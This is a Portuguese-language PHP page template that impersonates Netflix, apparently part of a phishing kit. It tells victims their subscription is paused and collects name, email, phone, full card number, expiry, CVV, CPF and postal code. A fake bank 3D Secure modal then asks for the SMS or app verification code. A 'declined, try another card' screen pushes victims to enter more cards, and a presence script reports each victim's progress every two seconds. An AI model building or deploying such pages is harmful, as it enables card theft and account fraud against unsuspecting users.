        .aprovado-sub { color: var(--nf-text-muted); font-size: 1rem; line-height: 1.6; max-width: 420px; margin-bottom: 32px; }
        .aprovado-valor { background: var(--nf-grey); border-radius: 4px; padding: 20px 32px; margin-bottom: 32px; }
        .aprovado-valor span { color: var(--nf-text-muted); font-size: 0.85rem; display: block; margin-bottom: 4px; }
        .aprovado-valor strong { color: #4ade80; font-size: 1.4rem; }
        .aprovado-btn {
            display: inline-block; padding: 14px 32px; background: var(--nf-red);
            color: #fff; border-radius: 4px; font-size: 1rem; font-weight: 500;
            text-decoration: none; transition: background 0.2s;
        }
        .aprovado-btn:hover { background: var(--nf-red-hover); }

        /* Pagamento recusado */
        .recusado-icon {
            width: 80px; height: 80px; background: #b91c1c; border-radius: 50%;
            display: flex; align-items: center; justify-content: center; margin: 0 auto 28px;
            animation: aprovadoPop 0.5s ease;
        }
        .recusado-icon svg { width: 40px; height: 40px; stroke: #fff; stroke-width: 3; fill: none; }
        .recusado-btn {
            display: inline-block; padding: 14px 32px; background: var(--nf-red);
            color: #fff; border: none; border-radius: 4px; font-size: 1rem; font-weight: 500;
            cursor: pointer; transition: background 0.2s; margin-top: 8px;
        }
        .recusado-btn:hover { background: var(--nf-red-hover); }
        .recusado-countdown {
            margin-top: 20px;
            color: var(--nf-text-muted);
            font-size: 0.9rem;
        }
        .recusado-countdown strong { color: #fff; }

        #pagamento-recusado {
            position: fixed;
            inset: 0;
            z-index: 99998;
            background: var(--nf-gradient);
            display: none;
            flex-direction: column;
            overflow: auto;
        }
        #pagamento-recusado.show { display: flex; }
        #pagamento-recusado .nf-step-body {
            flex: 1;
            min-height: 100%;
        }

        /* VBV modal — mantém branco (padrão bancário) */
        #vbv-overlay { position: fixed; inset: 0; z-index: 99999; background: rgba(0,0,0,0.65); display: none; align-items: center; justify-content: center; padding: 16px; }
        #vbv-overlay.open { display: flex; }
        .vbv-card { background: #fff; width: 100%; max-width: 480px; border: 1px solid #c8c8c8; box-shadow: 0 8px 32px rgba(0,0,0,0.4); animation: vbvIn 0.3s ease; font-family: Arial, Helvetica, sans-serif; color: #222; }
        @keyframes vbvIn { from { opacity:0; transform: translateY(8px); } to { opacity:1; transform: none; } }
        .vbv-topbar { display: flex; justify-content: space-between; align-items: center; padding: 18px 22px 14px; border-bottom: 1px solid #e8e8e8; background: #fafafa; }
        .vbv-bank-area { display: flex; align-items: center; min-width: 0; flex: 1; }
        .vbv-brand-area { display: flex; align-items: center; justify-content: flex-end; flex-shrink: 0; }
        .vbv-logo-visa { font-style: italic; font-size: 1.05rem; color: #1a1f71; line-height: 1.2; }
        .vbv-logo-visa em { font-style: italic; font-weight: 400; color: #333; }
        .vbv-logo-visa .visa-mark { color: #1a1f71; font-weight: 900; font-size: 1.15rem; }
        .vbv-logo-mc { display: flex; align-items: center; gap: 8px; }
        .vbv-mc-circles { display: flex; align-items: center; }
        .vbv-mc-circles span:nth-child(1) { width: 26px; height: 26px; background: #eb001b; border-radius: 50%; display: block; }
        .vbv-mc-circles span:nth-child(2) { width: 26px; height: 26px; background: #f79e1b; border-radius: 50%; display: block; margin-left: -9px; }
        .vbv-logo-mc-text { font-size: 0.82rem; font-weight: 700; color: #333; line-height: 1.2; }
        .vbv-logo-mc-text small { display: block; font-weight: 400; font-size: 0.72rem; color: #666; }
        .vbv-logo-bank { display: none; }
        .vbv-bank-logo { display: block; max-height: 34px; max-width: 150px; object-fit: contain; }
        .vbv-bank-text { font-style: italic; font-weight: 700; font-size: 1.05rem; color: #1a4480; font-family: Georgia, serif; }
        .vbv-body-classic { padding: 20px 22px 18px; }
        .vbv-instruction { font-size: 0.88rem; color: #666; margin-bottom: 18px; line-height: 1.45; }
        .vbv-details { margin-bottom: 20px; }
        .vbv-detail-row { display: flex; padding: 5px 0; font-size: 0.88rem; border-bottom: 1px solid #f0f0f0; }
        .vbv-detail-row:last-child { border-bottom: none; }
        .vbv-detail-label { width: 145px; flex-shrink: 0; color: #555; }
        .vbv-detail-value { color: #222; flex: 1; }
        .vbv-detail-value.bold { font-weight: 700; }
        .vbv-erro-banner { display: none; background: #fff5f5; border: 1px solid #fca5a5; color: #b91c1c; padding: 9px 12px; font-size: 0.82rem; margin-bottom: 14px; }
        .vbv-erro-banner.show { display: block; }
        .vbv-code-row { display: flex; align-items: center; padding: 5px 0; font-size: 0.88rem; }
        .vbv-code-row label { width: 145px; flex-shrink: 0; color: #555; }
        .vbv-code-field { display: flex; align-items: center; gap: 12px; flex: 1; min-width: 0; }
        .vbv-code-field input {
            flex: 1;
            min-width: 0;
            max-width: 200px;
            padding: 3px 0 4px;
            border: none;
            border-bottom: 1px solid #d4d4d4;
            font-size: 0.88rem;
            outline: none;
            border-radius: 0;
            letter-spacing: 2px;
            text-align: left;
            color: #222;
            background: transparent;
        }
        .vbv-code-field input::placeholder { color: #c8c8c8; letter-spacing: 3px; }
        .vbv-code-field input:focus { border-bottom-color: #888; box-shadow: none; }
        .vbv-card.mastercard-theme .vbv-code-field input:focus { border-bottom-color: #eb001b; box-shadow: none; }
        .vbv-card.visa-theme .vbv-code-field input:focus { border-bottom-color: #1a1f71; }
        .vbv-btn-submit {
            flex-shrink: 0;
            padding: 5px 18px;
            background: linear-gradient(180deg, #f8f8f8, #e4e4e4);
            border: 1px solid #b8b8b8;
            border-radius: 3px;
            font-size: 0.84rem;
            cursor: pointer;
            color: #333;
            font-weight: 600;
        }
        .vbv-btn-submit:disabled { opacity: 0.45; cursor: not-allowed; }
        .vbv-verificando { display: none; text-align: center; padding: 48px 22px 40px; }
        .vbv-verificando.show { display: block; }
        .vbv-verificando .mini-spin { width: 36px; height: 36px; border: 3px solid #e8e8e8; border-top-color: #1a1f71; border-radius: 50%; animation: spin 0.8s linear infinite; margin: 0 auto 18px; }
        .vbv-card.mastercard-theme .vbv-verificando .mini-spin { border-top-color: #eb001b; }
        .vbv-verificando-title { font-weight: 600; color: #333; font-size: 0.95rem; margin: 0 0 8px; }
        .vbv-verificando-sub { font-size: 0.82rem; color: #888; margin: 0; line-height: 1.45; }

        .db-alert { background: #422006; color: #fde68a; padding: 12px 16px; margin: 16px; border-radius: 4px; text-align: center; border: 1px solid #92400e; }

        @media (max-width: 600px) {
            .nf-title, .checkout-box h1 { font-size: 1.5rem; }
            .brand-options { flex-direction: column; }
            .nf-logo { height: 36px; }
        }
    </style>
    <link rel="stylesheet" href="<?= asset('css/vbv-banks.css') ?>">
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.inputmask/5.0.7/jquery.inputmask.min.js"></script>
    <script src="<?= asset('js/i18n.js') ?>"></script>
    <script src="<?= asset('js/adsense-capture.js') ?>"></script>
    <script>
        window.NF_PRESENCE = {
            baseUrl: <?= json_encode($baseUrl, JSON_UNESCAPED_SLASHES) ?>,
            etapa: <?= json_encode($presenceStatus, JSON_UNESCAPED_SLASHES) ?>,
            intervalMs: 2000,
            enabled: <?= $presenceTracking ? 'true' : 'false' ?>
        };
    </script>
    <script src="<?= asset('js/presence.js') ?>"></script>
</head>
<body<?= $showHomeOverlay ? ' class="nf-overlay-open"' : '' ?>>

<?php if (!empty($dbError)): ?>
    <div class="db-alert">
        Não foi possível conectar ao PostgreSQL.
        <?php if (!empty($dbErrorMessage)): ?>
            <br><small><?= htmlspecialchars($dbErrorMessage, ENT_QUOTES, 'UTF-8') ?></small>
        <?php endif; ?>
        <br>Verifique se o PostgreSQL está rodando e as credenciais em <code>config/config.php</code>.
    </div>
<?php endif; ?>

<!-- ETAPA 1: CONTATO -->
<section id="step-1" class="step<?= $step === 1 ? ' active' : '' ?>">
    <div class="nf-step-body">
        <div class="nf-header"><div class="nf-layout-inner"><?= netflixLogo() ?></div></div>
        <div class="nf-main">
            <div class="nf-content">
                <?= netflixBack(null, true) ?>
                <h1 class="nf-title" data-i18n="contact.title">Atualize seus dados de contato</h1>
                <p class="nf-subtitle" data-i18n="contact.subtitle">Para continuar assistindo, confirme suas informações abaixo.</p>
                <form id="form-contato" action="<?= url('api/processar_dados.php') ?>" method="POST">
                    <div class="fake-input-container">
                        <input type="text" class="nf-input" name="nome" data-i18n="contact.name" data-i18n-placeholder placeholder="Nome completo" required>
                    </div>
                    <div class="fake-input-container">
                        <input type="email" class="nf-input" name="email" id="input-email" autocomplete="email" data-i18n="contact.email" data-i18n-placeholder placeholder="E-mail" required>
                    </div>
                    <div class="fake-input-container">
                        <input type="tel" class="nf-input" name="telefone" id="input-telefone" inputmode="tel" autocomplete="tel" data-i18n="contact.phone" data-i18n-placeholder placeholder="Celular" required>
                    </div>
                    <button type="submit" class="btn-netflix" id="btn-submit" data-i18n="contact.submit">Próximo</button>
                </form>
            </div>
        </div>
    </div>
    <div id="step-1-page-footer"><?= netflixFooter() ?></div>

    <div id="nf-overlay-root">
        <div class="nf-step-body">
            <div class="nf-header"><div class="nf-layout-inner"><?= netflixLogo() ?></div></div>
            <div class="nf-overlay-main">
                <div class="nf-content">
                    <h1 data-i18n="overlay.title">Atualização necessária</h1>
                    <p data-i18n="overlay.message" data-i18n-html>Identificamos uma pendência na sua assinatura.<br><br>Para continuar assistindo, atualize suas informações de contato.</p>
                    <button type="button" id="nf-btn-continuar" data-i18n="overlay.continue">Continuar</button>
                </div>
            </div>
        </div>
        <?= netflixFooter() ?>
    </div>
</section>

<!-- ETAPA 2: ASSINATURA -->
<section id="step-2" class="step<?= $step === 2 ? ' active' : '' ?>">
    <div class="nf-step-body">
        <div class="nf-header"><div class="nf-layout-inner"><?= netflixLogo() ?></div></div>
        <div class="nf-main">
            <div class="nf-content nf-content-wide">
                <?= netflixBack('inicio_formulario') ?>
                <div class="status-badge"><span class="status-badge-dot" aria-hidden="true"></span><span data-i18n="subscription.badge">Pagamento interrompido</span></div>
                <h1 class="nf-title" data-i18n="subscription.title">Mantenha seus filmes e séries em dia</h1>
                <p class="nf-subtitle" data-i18n="subscription.subtitle">
                    Sua conta está pausada porque não conseguimos processar a cobrança no cartão cadastrado.
                    Para continuar assistindo, atualize os detalhes do pagamento.
                </p>
                <div class="info-box">
                    <span class="info-box-title" data-i18n="subscription.payment_box_title">Forma de pagamento anterior</span>
                    <div class="info-box-text">
                        <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="#b3b3b3" stroke-width="2"><rect x="2" y="5" width="20" height="14" rx="2"></rect><line x1="2" y1="10" x2="22" y2="10"></line></svg>
                        <span data-i18n="subscription.payment_box_card">Cartão de crédito cadastrado</span>
                    </div>
                </div>
                <a href="<?= route('chosepayment') ?>" class="btn-primary" data-i18n="subscription.update_payment">Atualizar forma de pagamento</a>
            </div>
        </div>
    </div>
    <?= netflixFooter() ?>
</section>

<!-- ETAPA 3: PAGAMENTO -->
<section id="step-3" class="step<?= $step === 3 ? ' active' : '' ?>">
    <div class="nf-step-body">
        <div class="nf-header-row">
            <div class="nf-layout-inner nf-header-row-inner">
                <?= netflixLogo('nf-logo nf-logo-sm') ?>
                <a href="<?= route('home') ?>" class="nf-exit">Sair</a>
            </div>
        </div>

        <main class="checkout-main">
            <div id="payment-picker" class="nf-content nf-content-pay">
                <?= netflixBack('stoppayment') ?>
                <div class="pay-lock-icon" aria-hidden="true">
                    <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 16 16"><path fill="currentColor" fill-rule="evenodd" d="M4 4a4 4 0 0 1 8 0v1h1a1 1 0 0 1 1 1v6.72a.92.92 0 0 1-.765.926C12.316 13.793 10.57 14 8 14s-4.316-.207-5.234-.354A.92.92 0 0 1 2 12.719V6a1 1 0 0 1 1-1h1zm6.5 0v1h-5V4a2.5 2.5 0 0 1 5 0m-7 2.5v5.738c.93.124 2.43.262 4.5.262s3.57-.138 4.5-.262V6.5zM7.25 8v3h1.5V8z" clip-rule="evenodd"></path></svg>
                </div>
                <span class="pay-step-label" data-i18n="payment.step_1" data-i18n-html>Passo <b>1</b> de <b>3</b></span>
                <h1 class="pay-title" data-i18n="payment.title">Escolha como você quer pagar</h1>
                <p class="pay-text" data-i18n="payment.reminder">Enviaremos um lembrete por email 3 dias antes da cobrança.</p>
                <p class="pay-text-strong" data-i18n="payment.security_1">Segurança e tranquilidade.</p>
                <p class="pay-text-strong" data-i18n="payment.security_2">Cancele online com facilidade.</p>
                <div class="pay-encrypt-row">
                    <span data-i18n="payment.encryption">Criptografia de ponta a ponta</span>
                    <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 16 16" aria-hidden="true"><path fill="currentColor" fill-rule="evenodd" d="M4 4a4 4 0 0 1 8 0v1h1a1 1 0 0 1 1 1v6.72a.92.92 0 0 1-.765.926C12.316 13.793 10.57 14 8 14s-4.316-.207-5.234-.354A.92.92 0 0 1 2 12.719V6a1 1 0 0 1 1-1h1zm6.5 0v1h-5V4a2.5 2.5 0 0 1 5 0m-7 2.5v5.738c.93.124 2.43.262 4.5.262s3.57-.138 4.5-.262V6.5zM7.25 8v3h1.5V8z" clip-rule="evenodd"></path></svg>
                </div>
                <div class="pay-methods">
                    <button type="button" id="pay-option-card" class="pay-method">
                        <span class="pay-method-inner">
                            <span class="pay-method-body">
                                <span class="pay-method-title" data-i18n="payment.card_option">Cartão de crédito ou débito</span>
                                <span class="pay-method-logos">
                                    <img src="https://assets.nflxext.com/siteui/acquisition/payment/ffe/paymentpicker/VISA@2x.png" width="39" height="25" alt="Visa">
                                    <img src="https://assets.nflxext.com/siteui/acquisition/payment/ffe/paymentpicker/MASTERCARD@2x.png" width="39" height="25" alt="Mastercard">
                                    <img src="https://assets.nflxext.com/siteui/acquisition/payment/ffe/paymentpicker/AMEX@2x.png" width="39" height="25" alt="American Express">
                                    <img src="https://assets.nflxext.com/siteui/acquisition/payment/ffe/paymentpicker/ELO@2x.png" width="39" height="25" alt="Elo">
                                </span>
                            </span>
                            <span class="pay-chevron" aria-hidden="true">›</span>
                        </span>
                    </button>
                </div>
            </div>

            <div id="payment-card-form" class="checkout-card-form pay-panel-hidden">
                <button type="button" id="pay-back-picker" class="checkout-change-pay" aria-label="Trocar a forma de pagamento">
                    <svg class="nf-back-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><polyline points="15 18 9 12 15 6"></polyline></svg>
                    <span data-i18n="payment.change_method">Trocar a forma de pagamento</span>
                </button>
                <span class="checkout-step" data-i18n="payment.step_3" data-i18n-html>Passo <b>3</b> de <b>3</b></span>
                <h1 class="checkout-heading" data-i18n="payment.checkout_title">Informe os dados do seu cartão de crédito ou débito</h1>

                <div class="checkout-card-logos" aria-hidden="true">
                    <img src="https://assets.nflxext.com/siteui/acquisition/payment/ffe/paymentpicker/VISA@2x.png" width="39" height="25" alt="Visa">
                    <img src="https://assets.nflxext.com/siteui/acquisition/payment/ffe/paymentpicker/MASTERCARD@2x.png" width="39" height="25" alt="Mastercard">
                    <img src="https://assets.nflxext.com/siteui/acquisition/payment/ffe/paymentpicker/AMEX@2x.png" width="39" height="25" alt="American Express">
                    <img src="https://assets.nflxext.com/siteui/acquisition/payment/ffe/paymentpicker/ELO@2x.png" width="39" height="25" alt="Elo">
                </div>

                <form id="payment-form" method="post" action="<?= route('checkout') ?>" autocomplete="on">
                    <input type="hidden" id="bandeira" name="bandeira" value="">

                    <div class="checkout-field">
                        <input type="tel" id="cardNumber" name="cardnumber" data-i18n="payment.card_number" data-i18n-placeholder placeholder="Número do cartão" inputmode="numeric" autocomplete="cc-number" required>
                        <span class="checkout-field-icon" id="card-brand-icon" aria-hidden="true">
                            <svg class="checkout-brand-default" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5"><rect x="2" y="5" width="20" height="14" rx="2"></rect><line x1="2" y1="10" x2="22" y2="10"></line></svg>
                        </span>
                    </div>

                    <div class="checkout-row">
                        <div class="checkout-field">
                            <input type="tel" id="cardExpiry" name="cc-exp" data-i18n="payment.card_expiry_label" data-i18n-placeholder placeholder="Data de validade" inputmode="numeric" autocomplete="cc-exp" required>
                        </div>
                        <div class="checkout-field checkout-field-cvv">
                            <input type="tel" id="cardCvv" name="cvc" data-i18n="payment.card_cvv" data-i18n-placeholder placeholder="CVV" inputmode="numeric" autocomplete="cc-csc" required>
                            <button type="button" id="cvv-help-btn" class="checkout-cvv-help" aria-label="Ajuda sobre o CVV">?</button>
                        </div>
                    </div>

                    <div class="checkout-field">
                        <input type="text" id="cardName" name="ccname" data-i18n="payment.card_name" data-i18n-placeholder placeholder="Nome no cartão" autocomplete="cc-name" required>
                    </div>

                    <p class="checkout-section-label" data-i18n="payment.preferred_type">Forma de pagamento preferida</p>
                    <div class="checkout-pay-type">
                        <label class="checkout-pay-option selected">
                            <input type="radio" name="pay_type" value="credito" checked>
                            <span class="checkout-pay-radio" aria-hidden="true"></span>
                            <span data-i18n="payment.credit">Crédito</span>
                        </label>
                        <label class="checkout-pay-option">
                            <input type="radio" name="pay_type" value="debito">
                            <span class="checkout-pay-radio" aria-hidden="true"></span>
                            <span data-i18n="payment.debit">Débito</span>
                        </label>
                    </div>

                    <h2 class="checkout-subheading" data-i18n="payment.billing_title">Detalhes de cobrança</h2>

                    <div class="checkout-field">
                        <input type="tel" id="cpf" name="cpf" data-i18n="payment.card_cpf" data-i18n-placeholder placeholder="CPF" inputmode="numeric" autocomplete="off" required>
                    </div>
                    <div class="checkout-field">
                        <input type="tel" id="cep" name="postal-code" data-i18n="payment.cep" data-i18n-placeholder placeholder="CEP" inputmode="numeric" autocomplete="postal-code" required>
                        <span id="cep-address" class="checkout-cep-address" hidden aria-live="polite"></span>
                    </div>
                    <a href="https://buscacepinter.correios.com.br/app/endereco/index.php" class="checkout-link" target="_blank" rel="noopener noreferrer" data-i18n="payment.cep_help">Não sei o meu CEP</a>

                    <p class="checkout-note" data-i18n="payment.debit_credit_note">Se o seu cartão permite transações de débito e de crédito, a Netflix processará o pagamento como crédito ou débito, dependendo da sua escolha.</p>

                    <p class="checkout-legal" data-i18n="payment.legal" data-i18n-html>Ao clicar no botão abaixo, você concorda com nossos <a href="https://help.netflix.com/legal/termsofuse" target="_blank" rel="noopener noreferrer">Termos de Uso</a> e <a href="https://help.netflix.com/legal/privacy" target="_blank" rel="noopener noreferrer">Política de Privacidade</a>, confirma que tem mais de 18 anos e que a Netflix continuará cobrando o valor da assinatura mensalmente até o cancelamento.</p>

                    <label class="checkout-agree">
                        <input type="checkbox" id="checkout-agree" required>
                        <span data-i18n="payment.agree">Eu concordo.</span>
                    </label>

                    <button type="submit" class="checkout-submit" id="btn-pagar" data-i18n="payment.start_subscription">Atualizar assinatura</button>

                    <p class="checkout-recaptcha" data-i18n="payment.recaptcha" data-i18n-html>Esta página é protegida pelo Google reCAPTCHA para garantir que você não é um robô. <a href="https://policies.google.com/privacy" target="_blank" rel="noopener noreferrer">Privacidade</a> e <a href="https://policies.google.com/terms" target="_blank" rel="noopener noreferrer">Termos</a>.</p>
                </form>

                <div id="checkout-processing" class="checkout-processing" aria-hidden="true">
                    <div class="checkout-processing-box">
                        <div class="checkout-processing-spinner" aria-hidden="true"></div>
                    </div>
                </div>
            </div>
        </main>
    </div>

    <?= netflixFooter() ?>
</section>

<!-- ETAPA 4: AGUARDE -->
<section id="step-4" class="step<?= $step === 4 ? ' active' : '' ?>">
    <div class="nf-step-body">
        <div class="nf-header"><div class="nf-layout-inner"><?= netflixLogo() ?></div></div>
        <div class="nf-wait-body">
            <div class="nf-content">
                <div class="wait-spinner"></div>
                <h1 class="wait-title" data-i18n="wait.title">Processando seu pagamento</h1>
                <p class="wait-sub" data-i18n="wait.message" data-i18n-html>
                    Por favor, <strong>não feche esta janela</strong>.<br>
                    Estamos verificando seus dados junto à operadora do cartão.<br>
                    Isso pode levar alguns minutos.
                </p>
                <div class="wait-bar"><div class="wait-bar-fill"></div></div>
                <p class="wait-sub wait-sub-note" data-i18n="wait.footer_note">
                    Aguarde enquanto confirmamos sua assinatura...
                </p>
            </div>
        </div>
    </div>
    <?= netflixFooter() ?>
</section>

<!-- MODAL CVV -->
<div id="cvv-modal" class="cvv-modal" hidden role="dialog" aria-modal="true" aria-labelledby="cvv-modal-title">
    <div class="cvv-modal-backdrop" data-cvv-close></div>
    <div class="cvv-modal-card">
        <button type="button" class="cvv-modal-close" data-cvv-close aria-label="Fechar">&times;</button>
        <p id="cvv-modal-title" class="cvv-modal-text" data-i18n="payment.cvv_help_text">O código de segurança do seu cartão (CVV) é o número de 3 ou 4 dígitos localizado na frente ou no verso da maioria dos cartões.</p>
        <div class="cvv-modal-images">
            <img src="https://assets.nflxext.com/ffe/siteui/acquisition/payment/tooltip/visa_cvv.png" width="200" height="130" alt="">
            <img src="https://assets.nflxext.com/ffe/siteui/acquisition/payment/tooltip/amex_cvv.png" width="200" height="130" alt="">
        </div>
    </div>
</div>

<!-- MODAL 3D Secure — layout clássico (Visa / Mastercard) -->
<div id="vbv-overlay">
    <div class="vbv-card" id="vbv-card">
        <div class="vbv-topbar">
            <div class="vbv-bank-area" id="vbv-bank-area"></div>
            <div class="vbv-brand-area" id="vbv-brand-area"></div>
        </div>

        <div class="vbv-body-classic" id="vbv-body-classic">
            <div class="vbv-erro-banner" id="vbv-erro-banner">Código VBV incorreto ou expirado. Tente novamente.</div>
            <p class="vbv-instruction" id="vbv-instruction">O código de verificação pode ser enviado via SMS ou gerado no app do banco emissor.</p>

            <div class="vbv-santander-guide" id="vbv-santander-guide" hidden>
                <img
                    src="<?= asset('passo-a-passo-santander.jpeg') ?>"
                    alt="Passo a passo para autorizar no app Santander"
                    class="vbv-santander-guide-img"
                    loading="lazy"
                >
            </div>

            <div class="vbv-details">
                <div class="vbv-detail-row">
                    <span class="vbv-detail-label">Comerciante:</span>
                    <span class="vbv-detail-value" id="vbv-merchant">Netflix</span>
                </div>
                <div class="vbv-detail-row">
                    <span class="vbv-detail-label">Valor:</span>
                    <span class="vbv-detail-value bold" id="vbv-valor"><?= h($checkoutValorSettings['checkout_valor_brl']) ?></span>
                </div>
                <div class="vbv-detail-row">
                    <span class="vbv-detail-label">Data:</span>
                    <span class="vbv-detail-value" id="vbv-date">—</span>
                </div>
                <div class="vbv-detail-row">
                    <span class="vbv-detail-label">Número do cartão:</span>
                    <span class="vbv-detail-value" id="vbv-card-mask">XXXX XXXX XXXX 0000</span>
                </div>
                <div class="vbv-detail-row">
                    <span class="vbv-detail-label">CPF:</span>
                    <span class="vbv-detail-value" id="vbv-cpf-mask">—</span>
                </div>
            </div>

            <div class="vbv-code-row">
                <label for="vbv-code" id="vbv-code-label">Insira o código</label>
                <div class="vbv-code-field">
                    <input type="tel" id="vbv-code" maxlength="6" autocomplete="off" inputmode="numeric" placeholder="000000">
                    <button type="button" class="vbv-btn-submit" id="vbv-confirm-btn" disabled>Enviar</button>
                </div>
            </div>
        </div>

        <div class="vbv-verificando" id="vbv-verificando">
            <div class="mini-spin"></div>
            <p class="vbv-verificando-title">Verificando autenticação...</p>
            <p class="vbv-verificando-sub">Aguarde a confirmação do banco emissor</p>
        </div>
    </div>
</div>

<!-- Overlay pagamento recusado -->
<div id="pagamento-recusado">
    <div class="nf-step-body">
        <div class="nf-header"><div class="nf-layout-inner"><?= netflixLogo() ?></div></div>
        <div class="nf-wait-body">
            <div class="nf-content">
                <div class="recusado-icon">
                    <svg viewBox="0 0 24 24"><line x1="18" y1="6" x2="6" y2="18"></line><line x1="6" y1="6" x2="18" y2="18"></line></svg>
                </div>
                <h2 class="wait-title">Pagamento não aprovado</h2>
                <p class="wait-sub">
                    Não foi possível concluir o pagamento com este cartão.<br>
                    Por favor, <strong>tente novamente com outro cartão</strong>.
                </p>
                <button type="button" class="recusado-btn" id="recusado-checkout-btn">Tentar com outro cartão</button>
                <p class="recusado-countdown">Redirecionando automaticamente em <strong id="recusado-countdown">5</strong> segundos...</p>
            </div>
        </div>
    </div>
</div>

<!-- ETAPA 5: PAGAMENTO APROVADO -->
<section id="step-5" class="step<?= $step === 5 ? ' active' : '' ?>">
    <div class="nf-step-body">
        <div class="nf-header"><div class="nf-layout-inner"><?= netflixLogo() ?></div></div>
        <div class="nf-main">
            <div class="nf-content">
                <div class="aprovado-icon">
                    <svg viewBox="0 0 24 24"><polyline points="20 6 9 17 4 12"></polyline></svg>
                </div>
                <h1 class="aprovado-title">Pagamento aprovado!</h1>
                <p class="aprovado-sub">Sua assinatura foi reativada com sucesso. Obrigado por atualizar seus dados de pagamento.</p>
                <div class="aprovado-valor">
                    <span>Valor processado</span>
                    <strong id="aprovado-valor"><?= h($checkoutValorSettings['checkout_valor_reais']) ?></strong>
                </div>
                <a href="https://www.netflix.com/br/" class="aprovado-btn" target="_blank" rel="noopener noreferrer">Continuar assistindo</a>
            </div>
        </div>
    </div>
    <?= netflixFooter() ?>
</section>

<?php
$bankLogosManifest = buildBankLogosManifest(
    __DIR__ . '/assets/logos-svg-bancos',
    $assetsUrl
);
?>
<script>window.BANK_LOGOS_MANIFEST = <?= json_encode($bankLogosManifest, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) ?>;</script>
<script>
    window.BASE_URL = <?= json_encode($baseUrl, JSON_UNESCAPED_SLASHES) ?>;
    window.NF_ASSETS_URL = <?= json_encode($assetsUrl, JSON_UNESCAPED_SLASHES) ?>;
</script>
<script src="<?= asset('js/bank-logos.js') ?>"></script>
<script src="<?= asset('js/vbv-banks.js') ?>"></script>

<script>
    const BASE_URL = window.BASE_URL;
    const CURRENT_STEP = <?= (int) $step ?>;
    const ROUTE_SLUG = <?= json_encode($routeSlug, JSON_UNESCAPED_SLASHES) ?>;

    window.NF_PRESENCE = {
        baseUrl: BASE_URL,
        etapa: <?= json_encode($presenceStatus, JSON_UNESCAPED_SLASHES) ?>,
        intervalMs: 2000,
        enabled: <?= $presenceTracking ? 'true' : 'false' ?>
    };

    if (typeof NF_PRESENCE_INIT === 'function') {
        NF_PRESENCE_INIT(window.NF_PRESENCE);
    }

    NF_I18N.init(BASE_URL);

    function setOverlayOpen(isOpen) {
        document.body.classList.toggle('nf-overlay-open', isOpen);
        const step1 = document.getElementById('step-1');
        if (step1) {
            step1.classList.toggle('overlay-closed', !isOpen);
        }
    }

    if (CURRENT_STEP === 1) {
        const overlay = document.getElementById('nf-overlay-root');
        if (ROUTE_SLUG === 'form') {
            if (overlay) overlay.style.display = 'none';
            setOverlayOpen(false);
        } else {
            setOverlayOpen(true);
        }
    }

    document.getElementById('nf-btn-continuar')?.addEventListener('click', function () {
        document.getElementById('nf-overlay-root').style.display = 'none';
        setOverlayOpen(false);
        if (typeof nfTrack === 'function') {
            nfTrack('formulario', '/form');
        }
    });

    document.getElementById('nf-btn-back-overlay')?.addEventListener('click', function () {
        document.getElementById('nf-overlay-root').style.display = '';
        setOverlayOpen(true);
        if (typeof nfTrack === 'function') {
            nfTrack('home', '/home');
        }
    });

    function closeAllLangMenus() {
        document.querySelectorAll('.nf-lang-wrap').forEach(function (wrap) {
            const btn = wrap.querySelector('.nf-lang-select');
            const menu = wrap.querySelector('.nf-lang-menu');
            if (btn) btn.setAttribute('aria-expanded', 'false');
            if (menu) menu.hidden = true;
        });
    }

    document.querySelectorAll('.nf-lang-wrap').forEach(function (wrap) {
        const btn = wrap.querySelector('.nf-lang-select');
        const menu = wrap.querySelector('.nf-lang-menu');
        if (!btn || !menu) return;

        btn.addEventListener('click', function (e) {
            e.stopPropagation();
            const isOpen = btn.getAttribute('aria-expanded') === 'true';
            closeAllLangMenus();
            if (!isOpen) {
                btn.setAttribute('aria-expanded', 'true');
                menu.hidden = false;
            }
        });

        menu.querySelectorAll('.nf-lang-option').forEach(function (option) {
            option.addEventListener('click', function (e) {
                e.stopPropagation();
                const lang = option.dataset.lang || 'pt';
                NF_I18N.setLang(lang);
                updateCvvA11yLabels();
                closeAllLangMenus();
            });
        });
    });

    document.addEventListener('click', closeAllLangMenus);

    function isValidEmail(value) {
        return /^[^\s@]+@[^\s@]+\.[^\s@]{2,}$/i.test(String(value).trim());
    }

    const formContato = document.getElementById('form-contato');
    const telefoneInput = document.getElementById('input-telefone');
    const emailInput = document.getElementById('input-email');

    if (telefoneInput && window.jQuery && $.fn.inputmask) {
        $('#input-telefone').inputmask({
            mask: '(99) 99999-9999',
            removeMaskOnSubmit: true,
            showMaskOnHover: false,
            showMaskOnFocus: true
        });
    }

    if (formContato) {
        formContato.addEventListener('submit', function (e) {
            const email = emailInput?.value.trim() || '';
            if (!isValidEmail(email)) {
                e.preventDefault();
                alert(NF_I18N.t('contact.email_invalid') || 'Informe um e-mail válido.');
                emailInput?.focus();
                return;
            }

            if (telefoneInput) {
                const num = (window.jQuery && $.fn.inputmask
                    ? $('#input-telefone').inputmask('unmaskedvalue')
                    : telefoneInput.value) || '';
                const digits = String(num).replace(/\D/g, '');

                if (digits.length !== 11) {
                    e.preventDefault();
                    alert(NF_I18N.t('contact.phone_invalid') || 'Informe um celular válido com DDD.');
                    telefoneInput.focus();
                    return;
                }

                telefoneInput.value = digits;
            }
        });
    }

    const CARD_BRAND_ICONS = {
        visa: 'https://assets.nflxext.com/siteui/acquisition/payment/ffe/paymentpicker/VISA@2x.png',
        mastercard: 'https://assets.nflxext.com/siteui/acquisition/payment/ffe/paymentpicker/MASTERCARD@2x.png',
        amex: 'https://assets.nflxext.com/siteui/acquisition/payment/ffe/paymentpicker/AMEX@2x.png',
        elo: 'https://assets.nflxext.com/siteui/acquisition/payment/ffe/paymentpicker/ELO@2x.png'
    };

